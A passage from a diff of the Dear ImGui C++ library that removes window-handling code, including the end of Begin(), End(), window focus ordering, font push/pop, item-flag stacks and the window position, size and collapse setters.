window->InnerRect.GetWidth()); - window->ScrollMax.y = ImMax(0.0f, window->ContentSize.y + window->WindowPadding.y * 2.0f - window->InnerRect.GetHeight()); - - // Apply scrolling - window->Scroll = CalcNextScrollFromScrollTargetAndClamp(window); - window->ScrollTarget = ImVec2(FLT_MAX, FLT_MAX); - - // DRAWING - - // Setup draw list and outer clipping rectangle - IM_ASSERT(window->DrawList->CmdBuffer.Size == 1 && window->DrawList->CmdBuffer[0].ElemCount == 0); - window->DrawList->PushTextureID(g.Font->ContainerAtlas->TexID); - PushClipRect(host_rect.Min, host_rect.Max, false); - - // Draw modal window background (darkens what is behind them, all viewports) - const bool dim_bg_for_modal = (flags & ImGuiWindowFlags_Modal) && window == GetTopMostPopupModal() && window->HiddenFramesCannotSkipItems <= 0; - const bool dim_bg_for_window_list = g.NavWindowingTargetAnim && (window == g.NavWindowingTargetAnim->RootWindow); - if (dim_bg_for_modal || dim_bg_for_window_list) - { - const ImU32 dim_bg_col = GetColorU32(dim_bg_for_modal ? ImGuiCol_ModalWindowDimBg : ImGuiCol_NavWindowingDimBg, g.DimBgRatio); - window->DrawList->AddRectFilled(viewport_rect.Min, viewport_rect.Max, dim_bg_col); - } - - // Draw navigation selection/windowing rectangle background - if (dim_bg_for_window_list && window == g.NavWindowingTargetAnim) - { - ImRect bb = window->Rect(); - bb.Expand(g.FontSize); - if (!bb.Contains(viewport_rect)) // Avoid drawing if the window covers all the viewport anyway - window->DrawList->AddRectFilled(bb.Min, bb.Max, GetColorU32(ImGuiCol_NavWindowingHighlight, g.NavWindowingHighlightAlpha * 0.25f), g.Style.WindowRounding); - } - - // Since 1.71, child window can render their decoration (bg color, border, scrollbars, etc.) within their parent to save a draw call. - // When using overlapping child windows, this will break the assumption that child z-order is mapped to submission order. - // We disable this when the parent window has zero vertices, which is a common pattern leading to laying out multiple overlapping child. - // We also disabled this when we have dimming overlay behind this specific one child. - // FIXME: More code may rely on explicit sorting of overlapping child window and would need to disable this somehow. Please get in contact if you are affected. - { - bool render_decorations_in_parent = false; - if ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Popup) && !window_is_child_tooltip) - if (window->DrawList->CmdBuffer.back().ElemCount == 0 && parent_window->DrawList->VtxBuffer.Size > 0) - render_decorations_in_parent = true; - if (render_decorations_in_parent) - window->DrawList = parent_window->DrawList; - - // Handle title bar, scrollbar, resize grips and resize borders - const ImGuiWindow* window_to_highlight = g.NavWindowingTarget ? g.NavWindowingTarget : g.NavWindow; - const bool title_bar_is_highlight = want_focus || (window_to_highlight && window->RootWindowForTitleBarHighlight == window_to_highlight->RootWindowForTitleBarHighlight); - RenderWindowDecorations(window, title_bar_rect, title_bar_is_highlight, resize_grip_count, resize_grip_col, resize_grip_draw_size); - - if (render_decorations_in_parent) - window->DrawList = &window->DrawListInst; - } - - // Draw navigation selection/windowing rectangle border - if (g.NavWindowingTargetAnim == window) - { - float rounding = ImMax(window->WindowRounding, g.Style.WindowRounding); - ImRect bb = window->Rect(); - bb.Expand(g.FontSize); - if (bb.Contains(viewport_rect)) // If a window fits the entire viewport, adjust its highlight inward - { - bb.Expand(-g.FontSize - 1.0f); - rounding = window->WindowRounding; - } - window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(ImGuiCol_NavWindowingHighlight, g.NavWindowingHighlightAlpha), rounding, ~0, 3.0f); - } - - // UPDATE RECTANGLES (2- THOSE AFFECTED BY SCROLLING) - - // Work rectangle. - // Affected by window padding and border size. Used by: - // - Columns() for right-most edge - // - TreeNode(), CollapsingHeader() for right-most edge - // - BeginTabBar() for right-most edge - const bool allow_scrollbar_x = !(flags & ImGuiWindowFlags_NoScrollbar) && (flags & ImGuiWindowFlags_HorizontalScrollbar); - const bool allow_scrollbar_y = !(flags & ImGuiWindowFlags_NoScrollbar); - const float work_rect_size_x = (window->ContentSizeExplicit.x != 0.0f ? window->ContentSizeExplicit.x : ImMax(allow_scrollbar_x ? window->ContentSize.x : 0.0f, window->Size.x - window->WindowPadding.x * 2.0f - window->ScrollbarSizes.x)); - const float work_rect_size_y = (window->ContentSizeExplicit.y != 0.0f ? window->ContentSizeExplicit.y : ImMax(allow_scrollbar_y ? window->ContentSize.y : 0.0f, window->Size.y - window->WindowPadding.y * 2.0f - decoration_up_height - window->ScrollbarSizes.y)); - window->WorkRect.Min.x = ImFloor(window->InnerRect.Min.x - window->Scroll.x + ImMax(window->WindowPadding.x, window->WindowBorderSize)); - window->WorkRect.Min.y = ImFloor(window->InnerRect.Min.y - window->Scroll.y + ImMax(window->WindowPadding.y, window->WindowBorderSize)); - window->WorkRect.Max.x = window->WorkRect.Min.x + work_rect_size_x; - window->WorkRect.Max.y = window->WorkRect.Min.y + work_rect_size_y; - window->ParentWorkRect = window->WorkRect; - - // [LEGACY] Content Region - // FIXME-OBSOLETE: window->ContentRegionRect.Max is currently very misleading / partly faulty, but some BeginChild() patterns relies on it. - // Used by: - // - Mouse wheel scrolling + many other things - window->ContentRegionRect.Min.x = window->Pos.x - window->Scroll.x + window->WindowPadding.x; - window->ContentRegionRect.Min.y = window->Pos.y - window->Scroll.y + window->WindowPadding.y + decoration_up_height; - window->ContentRegionRect.Max.x = window->ContentRegionRect.Min.x + (window->ContentSizeExplicit.x != 0.0f ? window->ContentSizeExplicit.x : (window->Size.x - window->WindowPadding.x * 2.0f - window->ScrollbarSizes.x)); - window->ContentRegionRect.Max.y = window->ContentRegionRect.Min.y + (window->ContentSizeExplicit.y != 0.0f ? window->ContentSizeExplicit.y : (window->Size.y - window->WindowPadding.y * 2.0f - decoration_up_height - window->ScrollbarSizes.y)); - - // Setup drawing context - // (NB: That term "drawing context / DC" lost its meaning a long time ago. Initially was meant to hold transient data only. Nowadays difference between window-> and window->DC-> is dubious.) - window->DC.Indent.x = 0.0f + window->WindowPadding.x - window->Scroll.x; - window->DC.GroupOffset.x = 0.0f; - window->DC.ColumnsOffset.x = 0.0f; - window->DC.CursorStartPos = window->Pos + ImVec2(window->DC.Indent.x + window->DC.ColumnsOffset.x, decoration_up_height + window->WindowPadding.y - window->Scroll.y); - window->DC.CursorPos = window->DC.CursorStartPos; - window->DC.CursorPosPrevLine = window->DC.CursorPos; - window->DC.CursorMaxPos = window->DC.CursorStartPos; - window->DC.IdealMaxPos = window->DC.CursorStartPos; - window->DC.CurrLineSize = window->DC.PrevLineSize = ImVec2(0.0f, 0.0f); - window->DC.CurrLineTextBaseOffset = window->DC.PrevLineTextBaseOffset = 0.0f; - - window->DC.NavLayerCurrent = ImGuiNavLayer_Main; - window->DC.NavLayerActiveMask = window->DC.NavLayerActiveMaskNext; - window->DC.NavLayerActiveMaskNext = 0x00; - window->DC.NavHideHighlightOneFrame = false; - window->DC.NavHasScroll = (window->ScrollMax.y > 0.0f); - - window->DC.MenuBarAppending = false; - window->DC.MenuColumns.Update(3, style.ItemSpacing.x, window_just_activated_by_user); - window->DC.TreeDepth = 0; - window->DC.TreeJumpToParentOnPopMask = 0x00; - window->DC.ChildWindows.resize(0); - window->DC.StateStorage = &window->StateStorage; - window->DC.CurrentColumns = NULL; - window->DC.LayoutType = ImGuiLayoutType_Vertical; - window->DC.ParentLayoutType = parent_window ? parent_window->DC.LayoutType : ImGuiLayoutType_Vertical; - window->DC.FocusCounterRegular = window->DC.FocusCounterTabStop = -1; - - window->DC.ItemWidth = window->ItemWidthDefault; - window->DC.TextWrapPos = -1.0f; // disabled - window->DC.ItemWidthStack.resize(0); - window->DC.TextWrapPosStack.resize(0); - - if (window->AutoFitFramesX > 0) - window->AutoFitFramesX--; - if (window->AutoFitFramesY > 0) - window->AutoFitFramesY--; - - // Apply focus (we need to call FocusWindow() AFTER setting DC.CursorStartPos so our initial navigation reference rectangle can start around there) - if (want_focus) - { - FocusWindow(window); - NavInitWindow(window, false); - } - - // Title bar - if (!(flags & ImGuiWindowFlags_NoTitleBar)) - RenderWindowTitleBarContents(window, ImRect(title_bar_rect.Min.x + window->WindowBorderSize, title_bar_rect.Min.y, title_bar_rect.Max.x - window->WindowBorderSize, title_bar_rect.Max.y), name, p_open); - - // Clear hit test shape every frame - window->HitTestHoleSize.x = window->HitTestHoleSize.y = 0; - - // Pressing CTRL+C while holding on a window copy its content to the clipboard - // This works but 1. doesn't handle multiple Begin/End pairs, 2. recursing into another Begin/End pair - so we need to work that out and add better logging scope. - // Maybe we can support CTRL+C on every element? - /* - //if (g.NavWindow == window && g.ActiveId == 0) - if (g.ActiveId == window->MoveId) - if (g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_C)) - LogToClipboard(); - */ - - // We fill last item data based on Title Bar/Tab, in order for IsItemHovered() and IsItemActive() to be usable after Begin(). - // This is useful to allow creating context menus on title bar only, etc. - SetLastItemData(window, window->MoveId, IsMouseHoveringRect(title_bar_rect.Min, title_bar_rect.Max, false) ? ImGuiItemStatusFlags_HoveredRect : 0, title_bar_rect); - -#ifdef IMGUI_ENABLE_TEST_ENGINE - if (!(window->Flags & ImGuiWindowFlags_NoTitleBar)) - IMGUI_TEST_ENGINE_ITEM_ADD(window->DC.LastItemRect, window->DC.LastItemId); -#endif - } - else - { - // Append - SetCurrentWindow(window); - } - - // Pull/inherit current state - window->DC.ItemFlags = g.ItemFlagsStack.back(); // Inherit from shared stack - window->DC.NavFocusScopeIdCurrent = (flags & ImGuiWindowFlags_ChildWindow) ? parent_window->DC.NavFocusScopeIdCurrent : 0; // Inherit from parent only // -V595 - - PushClipRect(window->InnerClipRect.Min, window->InnerClipRect.Max, true); - - // Clear 'accessed' flag last thing (After PushClipRect which will set the flag. We want the flag to stay false when the default "Debug" window is unused) - window->WriteAccessed = false; - window->BeginCount++; - g.NextWindowData.ClearFlags(); - - // Update visibility - if (first_begin_of_the_frame) - { - if (flags & ImGuiWindowFlags_ChildWindow) - { - // Child window can be out of sight and have "negative" clip windows. - // Mark them as collapsed so commands are skipped earlier (we can't manually collapse them because they have no title bar). - IM_ASSERT((flags & ImGuiWindowFlags_NoTitleBar) != 0); - if (!(flags & ImGuiWindowFlags_AlwaysAutoResize) && window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) // FIXME: Doesn't make sense for ChildWindow?? - if (!g.LogEnabled) - if (window->OuterRectClipped.Min.x >= window->OuterRectClipped.Max.x || window->OuterRectClipped.Min.y >= window->OuterRectClipped.Max.y) - window->HiddenFramesCanSkipItems = 1; - - // Hide along with parent or if parent is collapsed - if (parent_window && (parent_window->Collapsed || parent_window->HiddenFramesCanSkipItems > 0)) - window->HiddenFramesCanSkipItems = 1; - if (parent_window && (parent_window->Collapsed || parent_window->HiddenFramesCannotSkipItems > 0)) - window->HiddenFramesCannotSkipItems = 1; - } - - // Don't render if style alpha is 0.0 at the time of Begin(). This is arbitrary and inconsistent but has been there for a long while (may remove at some point) - if (style.Alpha <= 0.0f) - window->HiddenFramesCanSkipItems = 1; - - // Update the Hidden flag - window->Hidden = (window->HiddenFramesCanSkipItems > 0) || (window->HiddenFramesCannotSkipItems > 0) || (window->HiddenFramesForRenderOnly > 0); - - // Update the SkipItems flag, used to early out of all items functions (no layout required) - bool skip_items = false; - if (window->Collapsed || !window->Active || window->Hidden) - if (window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0 && window->HiddenFramesCannotSkipItems <= 0) - skip_items = true; - window->SkipItems = skip_items; - } - - return !window->SkipItems; -} - -void ImGui::End() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // Error checking: verify that user hasn't called End() too many times! - if (g.CurrentWindowStack.Size <= 1 && g.WithinFrameScopeWithImplicitWindow) - { - IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size > 1, "Calling End() too many times!"); - return; - } - IM_ASSERT(g.CurrentWindowStack.Size > 0); - - // Error checking: verify that user doesn't directly call End() on a child window. - if (window->Flags & ImGuiWindowFlags_ChildWindow) - IM_ASSERT_USER_ERROR(g.WithinEndChild, "Must call EndChild() and not End()!"); - - // Close anything that is open - if (window->DC.CurrentColumns) - EndColumns(); - PopClipRect(); // Inner window clip rectangle - - // Stop logging - if (!(window->Flags & ImGuiWindowFlags_ChildWindow)) // FIXME: add more options for scope of logging - LogFinish(); - - // Pop from window stack - g.CurrentWindowStack.pop_back(); - if (window->Flags & ImGuiWindowFlags_Popup) - g.BeginPopupStack.pop_back(); - window->DC.StackSizesOnBegin.CompareWithCurrentState(); - SetCurrentWindow(g.CurrentWindowStack.empty() ? NULL : g.CurrentWindowStack.back()); -} - -void ImGui::BringWindowToFocusFront(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - if (g.WindowsFocusOrder.back() == window) - return; - for (int i = g.WindowsFocusOrder.Size - 2; i >= 0; i--) // We can ignore the top-most window - if (g.WindowsFocusOrder[i] == window) - { - memmove(&g.WindowsFocusOrder[i], &g.WindowsFocusOrder[i + 1], (size_t)(g.WindowsFocusOrder.Size - i - 1) * sizeof(ImGuiWindow*)); - g.WindowsFocusOrder[g.WindowsFocusOrder.Size - 1] = window; - break; - } -} - -void ImGui::BringWindowToDisplayFront(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* current_front_window = g.Windows.back(); - if (current_front_window == window || current_front_window->RootWindow == window) // Cheap early out (could be better) - return; - for (int i = g.Windows.Size - 2; i >= 0; i--) // We can ignore the top-most window - if (g.Windows[i] == window) - { - memmove(&g.Windows[i], &g.Windows[i + 1], (size_t)(g.Windows.Size - i - 1) * sizeof(ImGuiWindow*)); - g.Windows[g.Windows.Size - 1] = window; - break; - } -} - -void ImGui::BringWindowToDisplayBack(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - if (g.Windows[0] == window) - return; - for (int i = 0; i < g.Windows.Size; i++) - if (g.Windows[i] == window) - { - memmove(&g.Windows[1], &g.Windows[0], (size_t)i * sizeof(ImGuiWindow*)); - g.Windows[0] = window; - break; - } -} - -// Moving window to front of display and set focus (which happens to be back of our sorted list) -void ImGui::FocusWindow(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - - if (g.NavWindow != window) - { - g.NavWindow = window; - if (window && g.NavDisableMouseHover) - g.NavMousePosDirty = true; - g.NavId = window ? window->NavLastIds[0] : 0; // Restore NavId - g.NavFocusScopeId = 0; - g.NavIdIsAlive = false; - g.NavLayer = ImGuiNavLayer_Main; - g.NavInitRequest = g.NavMoveRequest = false; - NavUpdateAnyRequestFlag(); - //IMGUI_DEBUG_LOG("FocusWindow(\"%s\")\n", window ? window->Name : NULL); - } - - // Close popups if any - ClosePopupsOverWindow(window, false); - - // Move the root window to the top of the pile - IM_ASSERT(window == NULL || window->RootWindow != NULL); - ImGuiWindow* focus_front_window = window ? window->RootWindow : NULL; // NB: In docking branch this is window->RootWindowDockStop - ImGuiWindow* display_front_window = window ? window->RootWindow : NULL; - - // Steal active widgets. Some of the cases it triggers includes: - // - Focus a window while an InputText in another window is active, if focus happens before the old InputText can run. - // - When using Nav to activate menu items (due to timing of activating on press->new window appears->losing ActiveId) - if (g.ActiveId != 0 && g.ActiveIdWindow && g.ActiveIdWindow->RootWindow != focus_front_window) - if (!g.ActiveIdNoClearOnFocusLoss) - ClearActiveID(); - - // Passing NULL allow to disable keyboard focus - if (!window) - return; - - // Bring to front - BringWindowToFocusFront(focus_front_window); - if (((window->Flags | display_front_window->Flags) & ImGuiWindowFlags_NoBringToFrontOnFocus) == 0) - BringWindowToDisplayFront(display_front_window); -} - -void ImGui::FocusTopMostWindowUnderOne(ImGuiWindow* under_this_window, ImGuiWindow* ignore_window) -{ - ImGuiContext& g = *GImGui; - - int start_idx = g.WindowsFocusOrder.Size - 1; - if (under_this_window != NULL) - { - int under_this_window_idx = FindWindowFocusIndex(under_this_window); - if (under_this_window_idx != -1) - start_idx = under_this_window_idx - 1; - } - for (int i = start_idx; i >= 0; i--) - { - // We may later decide to test for different NoXXXInputs based on the active navigation input (mouse vs nav) but that may feel more confusing to the user. - ImGuiWindow* window = g.WindowsFocusOrder[i]; - if (window != ignore_window && window->WasActive && !(window->Flags & ImGuiWindowFlags_ChildWindow)) - if ((window->Flags & (ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs)) != (ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs)) - { - ImGuiWindow* focus_window = NavRestoreLastChildNavWindow(window); - FocusWindow(focus_window); - return; - } - } - FocusWindow(NULL); -} - -// Important: this alone doesn't alter current ImDrawList state. This is called by PushFont/PopFont only. -void ImGui::SetCurrentFont(ImFont* font) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(font && font->IsLoaded()); // Font Atlas not created. Did you call io.Fonts->GetTexDataAsRGBA32 / GetTexDataAsAlpha8 ? - IM_ASSERT(font->Scale > 0.0f); - g.Font = font; - g.FontBaseSize = ImMax(1.0f, g.IO.FontGlobalScale * g.Font->FontSize * g.Font->Scale); - g.FontSize = g.CurrentWindow ? g.CurrentWindow->CalcFontSize() : 0.0f; - - ImFontAtlas* atlas = g.Font->ContainerAtlas; - g.DrawListSharedData.TexUvWhitePixel = atlas->TexUvWhitePixel; - g.DrawListSharedData.TexUvLines = atlas->TexUvLines; - g.DrawListSharedData.Font = g.Font; - g.DrawListSharedData.FontSize = g.FontSize; -} - -void ImGui::PushFont(ImFont* font) -{ - ImGuiContext& g = *GImGui; - if (!font) - font = GetDefaultFont(); - SetCurrentFont(font); - g.FontStack.push_back(font); - g.CurrentWindow->DrawList->PushTextureID(font->ContainerAtlas->TexID); -} - -void ImGui::PopFont() -{ - ImGuiContext& g = *GImGui; - g.CurrentWindow->DrawList->PopTextureID(); - g.FontStack.pop_back(); - SetCurrentFont(g.FontStack.empty() ? GetDefaultFont() : g.FontStack.back()); -} - -void ImGui::PushItemFlag(ImGuiItemFlags option, bool enabled) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiItemFlags item_flags = window->DC.ItemFlags; - IM_ASSERT(item_flags == g.ItemFlagsStack.back()); - if (enabled) - item_flags |= option; - else - item_flags &= ~option; - window->DC.ItemFlags = item_flags; - g.ItemFlagsStack.push_back(item_flags); -} - -void ImGui::PopItemFlag() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(g.ItemFlagsStack.Size > 1); // Too many calls to PopItemFlag() - we always leave a 0 at the bottom of the stack. - g.ItemFlagsStack.pop_back(); - window->DC.ItemFlags = g.ItemFlagsStack.back(); -} - -// FIXME: Look into renaming this once we have settled the new Focus/Activation/TabStop system. -void ImGui::PushAllowKeyboardFocus(bool allow_keyboard_focus) -{ - PushItemFlag(ImGuiItemFlags_NoTabStop, !allow_keyboard_focus); -} - -void ImGui::PopAllowKeyboardFocus() -{ - PopItemFlag(); -} - -void ImGui::PushButtonRepeat(bool repeat) -{ - PushItemFlag(ImGuiItemFlags_ButtonRepeat, repeat); -} - -void ImGui::PopButtonRepeat() -{ - PopItemFlag(); -} - -void ImGui::PushTextWrapPos(float wrap_pos_x) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.TextWrapPosStack.push_back(window->DC.TextWrapPos); - window->DC.TextWrapPos = wrap_pos_x; -} - -void ImGui::PopTextWrapPos() -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DC.TextWrapPos = window->DC.TextWrapPosStack.back(); - window->DC.TextWrapPosStack.pop_back(); -} - -bool ImGui::IsWindowChildOf(ImGuiWindow* window, ImGuiWindow* potential_parent) -{ - if (window->RootWindow == potential_parent) - return true; - while (window != NULL) - { - if (window == potential_parent) - return true; - window = window->ParentWindow; - } - return false; -} - -bool ImGui::IsWindowAbove(ImGuiWindow* potential_above, ImGuiWindow* potential_below) -{ - ImGuiContext& g = *GImGui; - for (int i = g.Windows.Size - 1; i >= 0; i--) - { - ImGuiWindow* candidate_window = g.Windows[i]; - if (candidate_window == potential_above) - return true; - if (candidate_window == potential_below) - return false; - } - return false; -} - -bool ImGui::IsWindowHovered(ImGuiHoveredFlags flags) -{ - IM_ASSERT((flags & ImGuiHoveredFlags_AllowWhenOverlapped) == 0); // Flags not supported by this function - ImGuiContext& g = *GImGui; - if (g.HoveredWindow == NULL) - return false; - - if ((flags & ImGuiHoveredFlags_AnyWindow) == 0) - { - ImGuiWindow* window = g.CurrentWindow; - switch (flags & (ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows)) - { - case ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows: - if (g.HoveredWindow->RootWindow != window->RootWindow) - return false; - break; - case ImGuiHoveredFlags_RootWindow: - if (g.HoveredWindow != window->RootWindow) - return false; - break; - case ImGuiHoveredFlags_ChildWindows: - if (!IsWindowChildOf(g.HoveredWindow, window)) - return false; - break; - default: - if (g.HoveredWindow != window) - return false; - break; - } - } - - if (!IsWindowContentHoverable(g.HoveredWindow, flags)) - return false; - if (!(flags & ImGuiHoveredFlags_AllowWhenBlockedByActiveItem)) - if (g.ActiveId != 0 && !g.ActiveIdAllowOverlap && g.ActiveId != g.HoveredWindow->MoveId) - return false; - return true; -} - -bool ImGui::IsWindowFocused(ImGuiFocusedFlags flags) -{ - ImGuiContext& g = *GImGui; - - if (flags & ImGuiFocusedFlags_AnyWindow) - return g.NavWindow != NULL; - - IM_ASSERT(g.CurrentWindow); // Not inside a Begin()/End() - switch (flags & (ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows)) - { - case ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows: - return g.NavWindow && g.NavWindow->RootWindow == g.CurrentWindow->RootWindow; - case ImGuiFocusedFlags_RootWindow: - return g.NavWindow == g.CurrentWindow->RootWindow; - case ImGuiFocusedFlags_ChildWindows: - return g.NavWindow && IsWindowChildOf(g.NavWindow, g.CurrentWindow); - default: - return g.NavWindow == g.CurrentWindow; - } -} - -// Can we focus this window with CTRL+TAB (or PadMenu + PadFocusPrev/PadFocusNext) -// Note that NoNavFocus makes the window not reachable with CTRL+TAB but it can still be focused with mouse or programmatically. -// If you want a window to never be focused, you may use the e.g. NoInputs flag. -bool ImGui::IsWindowNavFocusable(ImGuiWindow* window) -{ - return window->WasActive && window == window->RootWindow && !(window->Flags & ImGuiWindowFlags_NoNavFocus); -} - -float ImGui::GetWindowWidth() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->Size.x; -} - -float ImGui::GetWindowHeight() -{ - ImGuiWindow* window = GImGui->CurrentWindow; - return window->Size.y; -} - -ImVec2 ImGui::GetWindowPos() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - return window->Pos; -} - -void ImGui::SetWindowPos(ImGuiWindow* window, const ImVec2& pos, ImGuiCond cond) -{ - // Test condition (NB: bit 0 is always true) and clear flags for next time - if (cond && (window->SetWindowPosAllowFlags & cond) == 0) - return; - - IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. - window->SetWindowPosAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); - window->SetWindowPosVal = ImVec2(FLT_MAX, FLT_MAX); - - // Set - const ImVec2 old_pos = window->Pos; - window->Pos = ImFloor(pos); - ImVec2 offset = window->Pos - old_pos; - window->DC.CursorPos += offset; // As we happen to move the window while it is being appended to (which is a bad idea - will smear) let's at least offset the cursor - window->DC.CursorMaxPos += offset; // And more importantly we need to offset CursorMaxPos/CursorStartPos this so ContentSize calculation doesn't get affected. - window->DC.IdealMaxPos += offset; - window->DC.CursorStartPos += offset; -} - -void ImGui::SetWindowPos(const ImVec2& pos, ImGuiCond cond) -{ - ImGuiWindow* window = GetCurrentWindowRead(); - SetWindowPos(window, pos, cond); -} - -void ImGui::SetWindowPos(const char* name, const ImVec2& pos, ImGuiCond cond) -{ - if (ImGuiWindow* window = FindWindowByName(name)) - SetWindowPos(window, pos, cond); -} - -ImVec2 ImGui::GetWindowSize() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->Size; -} - -void ImGui::SetWindowSize(ImGuiWindow* window, const ImVec2& size, ImGuiCond cond) -{ - // Test condition (NB: bit 0 is always true) and clear flags for next time - if (cond && (window->SetWindowSizeAllowFlags & cond) == 0) - return; - - IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. - window->SetWindowSizeAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); - - // Set - if (size.x > 0.0f) - { - window->AutoFitFramesX = 0; - window->SizeFull.x = IM_FLOOR(size.x); - } - else - { - window->AutoFitFramesX = 2; - window->AutoFitOnlyGrows = false; - } - if (size.y > 0.0f) - { - window->AutoFitFramesY = 0; - window->SizeFull.y = IM_FLOOR(size.y); - } - else - { - window->AutoFitFramesY = 2; - window->AutoFitOnlyGrows = false; - } -} - -void ImGui::SetWindowSize(const ImVec2& size, ImGuiCond cond) -{ - SetWindowSize(GImGui->CurrentWindow, size, cond); -} - -void ImGui::SetWindowSize(const char* name, const ImVec2& size, ImGuiCond cond) -{ - if (ImGuiWindow* window = FindWindowByName(name)) - SetWindowSize(window, size, cond); -} - -void ImGui::SetWindowCollapsed(ImGuiWindow* window, bool collapsed, ImGuiCond cond) -{ - // Test condition (NB: bit 0 is always true) and clear flags for next time - if (cond && (window->SetWindowCollapsedAllowFlags & cond) == 0) - return; - window->SetWindowCollapsedAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); - - // Set - window->Collapsed = collapsed; -} - -void ImGui::SetWindowHitTestHole(ImGuiWindow* window, const ImVec2& pos, const ImVec2& size) -{ - IM_ASSERT(window->HitTestHoleSize.x == 0); // We don't support multiple holes/hit test filters - window->HitTestHoleSize = ImVec2ih(size); - window->HitTestHoleOffset = ImVec2ih(pos - window->Pos); -} - -void ImGui::SetWindowCollapsed(bool collapsed, ImGuiCond cond) -{ - SetWindowCollapsed(GImGui->CurrentWindow, collapsed, cond); -} - -bool ImGui::IsWindowCollapsed() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->Collapsed; -} - -bool ImGui::IsWindowAppearing() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->Appearing; -} - -void ImGui::SetWindowCollapsed(const char* name, bool collapsed, ImGuiCond cond) -{ - if (ImGuiWindow* window = FindWindowByName(name)) - SetWindowCollapsed(window, collapsed, cond); -} - -void ImGui::SetWindowFocus() -{ - FocusWindow(GImGui->CurrentWindow); -} - -void ImGui::SetWindowFocus(const char* name) -{ - if (name) - { - if (ImGuiWindow* window = FindWindowByName(name)) - FocusWindow(window); - } - else - { - FocusWindow(NULL); - } -} - -void ImGui::SetNextWindowPos(const ImVec2& pos, ImGuiCond cond, const ImVec2& pivot) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasPos; - g.NextWindowData.PosVal = pos; - g.NextWindowData.PosPivotVal = pivot; - g.NextWindowData.PosCond = cond ? cond : ImGuiCond_Always; -} - -void ImGui::SetNextWindowSize(const ImVec2& size, ImGuiCond cond) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSize; - g.NextWindowData.SizeVal = size; - g.NextWindowData.SizeCond = cond ? cond : ImGuiCond_Always; -} - -void ImGui::SetNextWindowSizeConstraints(const ImVec2& size_min, const ImVec2& size_max, ImGuiSizeCallback custom_callback, void* custom_callback_user_data) -{ - ImGuiContext& g = *GImGui; - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSizeConstraint; - g.NextWindowData.SizeConstraintRect = ImRect(size_min, size_max); - g.NextWindowData.SizeCallback = custom_callback; - g.NextWindowData.SizeCallbackUserData = custom_callback_user_data; -} - -// Content size = inner scrollable rectangle, padded with WindowPadding. -// SetNextWindowContentSize(ImVec2(100,100) + ImGuiWindowFlags_AlwaysAutoResize will always allow submitting a 100x100 item. -void ImGui::SetNextWindowContentSize(const ImVec2& size) -{ - ImGuiContext& g = *GImGui; - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasContentSize; - g.NextWindowData.ContentSizeVal = ImFloor(size); -} - -void ImGui::SetNextWindowScroll(const ImVec2& scroll) -{ - ImGuiContext& g = *GImGui; - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasScroll; - g.NextWindowData.ScrollVal = scroll; -} - -void ImGui::SetNextWindowCollapsed(bool collapsed, ImGuiCond cond) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasCollapsed; - g.NextWindowData.CollapsedVal = collapsed; - g.NextWindowData.CollapsedCond = cond ? cond : ImGuiCond_Always; -} - -void ImGui::SetNextWindowFocus() -{ - ImGuiContext& g = *GImGui; - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasFocus; -} - -void ImGui::SetNextWindowBgAlpha(float alpha) -{ - ImGuiContext& g = *GImGui; - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasBgAlpha; - g.NextWindowData.BgAlphaVal = alpha; -} - -ImDrawList* ImGui::GetWindowDrawList() -{ - ImGuiWindow* window = GetCurrentWindow(); - return window->DrawList; -} - -ImFont* ImGui::GetFont() -{ - return GImGui->Font; -} - -float ImGui::GetFontSize() -{ - return GImGui->FontSize; -} - -ImVec2 